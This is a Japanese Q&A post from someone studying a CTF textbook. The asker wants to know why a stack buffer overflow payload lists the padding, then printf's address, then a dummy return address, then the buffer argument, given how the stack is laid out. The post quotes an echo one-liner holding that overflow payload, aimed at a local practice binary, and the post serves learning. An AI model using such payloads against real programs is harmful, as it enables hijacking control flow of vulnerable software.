

CTFチャレンジブックという本を勉強しているのですが、44バイト分のスタックがありスタックオーバーフロー によって printf を実行したい場合、入力が

[code]

    echo -e 'AAAA....AA(44個のA)\x50\x83\x04\x08(左4つは関数アドレス、printfのアドレス)BBBB(<-printf呼び出し後のリターンアドレス 、ダミー)\x60\xa0\x04\x08(左4つは引数、バッファ変数)' | ./(バッファに入力を読み込むファイル)
    
[/code]

となっています。以下に簡潔なバージョンを書きます。

[code]

    echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x04\x08' | ./(バッファに入力を読み込むファイル)
    
[/code]

この時、本の説明では上位アドレスから低位アドレスに向かって、引数（バッファ変数）--> ダミー -->
関数アドレス（printfのアドレス)のように積み上げるとなっています。

ここで疑問なのですが、なぜ入力の時に(AAA...A)-->(printfのアドレス)-->ダミー-->（バッファ変数）の順番でechoしているのでしょうか？つまり

[code]

    echo -e 'AAAA....AA(44個のA)\x50\x83\x04\x08(左4つは関数アドレス、printfのアドレス)BBBB(<-printf呼び出し後のリターンアドレス 、ダミー)\x60\xa0\x04\x08(左4つは引数、バッファ変数)' | ./(バッファに入力を読み込むファイル)
    
[/code]

この順番なのでしょうか？本の説明の通りに積み上げるのであればスタックのFILO構造を考えると(AA...A)-->(バッファ変数) --> ダミー -->
(printfのアドレス)の順番にechoする文字列をつなげないといけない気がします。


CC BY-SA 4.0
2020-05-20T05:06:05.343
66802
2020-05-20T05:08:14.280
2020-05-20T05:08:14.280
3060
39983
question
メモリ管理 スタック
スタックオーバーフロ ーさせたい時の入力の順番